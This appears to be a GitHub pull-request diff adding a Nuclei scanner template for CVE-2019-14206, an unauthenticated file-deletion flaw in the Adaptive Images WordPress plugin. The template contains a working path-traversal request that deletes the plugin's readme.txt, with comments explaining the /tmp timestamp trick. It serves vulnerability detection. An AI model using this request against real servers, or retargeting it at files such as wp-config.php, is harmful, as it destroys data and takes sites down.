Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
60 changes: 60 additions & 0 deletions http/cves/2019/CVE-2019-14206.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
id: CVE-2019-14206

info:
name: Nevma Adaptive Images < 0.6.67 - Arbitrary File Deletion
author: KrE80r
severity: critical
description: |
Nevma Adaptive Images plugin before 0.6.67 for WordPress allows unauthenticated arbitrary file deletion via unsanitized 'adaptive-images-settings' array parameters. The plugin accepts user-controlled source_file, wp_content, cache_dir, and request_uri values without validation, enabling path traversal to delete arbitrary files.

Deletion requires source_file timestamp > target timestamp. Attackers use recently uploaded media or modified files (like .htaccess) as source_file.
impact: |
Unauthenticated attackers can delete arbitrary files on the server, potentially causing denial of service by removing critical files like wp-config.php.
remediation: Update to version 0.6.67 or later, or remove the plugin.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-14206
- https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html
- https://wpscan.com/vulnerability/9868
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2019-14206
cwe-id: CWE-22
epss-score: 0.00393
epss-percentile: 0.71051
cpe: cpe:2.3:a:nevma:adaptive_images:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: nevma
product: adaptive_images
framework: wordpress
publicwww-query: "/wp-content/plugins/adaptive-images/"
tags: cve,cve2019,wordpress,wp-plugin,file-deletion,adaptive-images,nevma,path-traversal

http:
- raw:
# Request 1: Verify plugin readme.txt exists
- |
GET /wp-content/plugins/adaptive-images/readme.txt HTTP/1.1
Host: {{Hostname}}

# Request 2: Trigger file deletion using /tmp directory as source_file
# /tmp mtime updates on any file creation (PHP sessions, uploads, temp files)
# Always recent on active servers - filemtime() works on directories
- |
GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?resolution=480&adaptive-images-settings%5Bsource_file%5D=/tmp&adaptive-images-settings%5Bresolution%5D=&adaptive-images-settings%5Bwp_content%5D=/var/www/html/wp-content&adaptive-images-settings%5Bcache_dir%5D=.&adaptive-images-settings%5Brequest_uri%5D=plugins/adaptive-images/readme.txt&adaptive-images-settings%5Bwatch_cache%5D=1 HTTP/1.1
Host: {{Hostname}}

# Request 3: Verify readme.txt was deleted
- |
GET /wp-content/plugins/adaptive-images/readme.txt HTTP/1.1
Host: {{Hostname}}

matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code_1 == 200"
- "status_code_3 != 200"
condition: and
Loading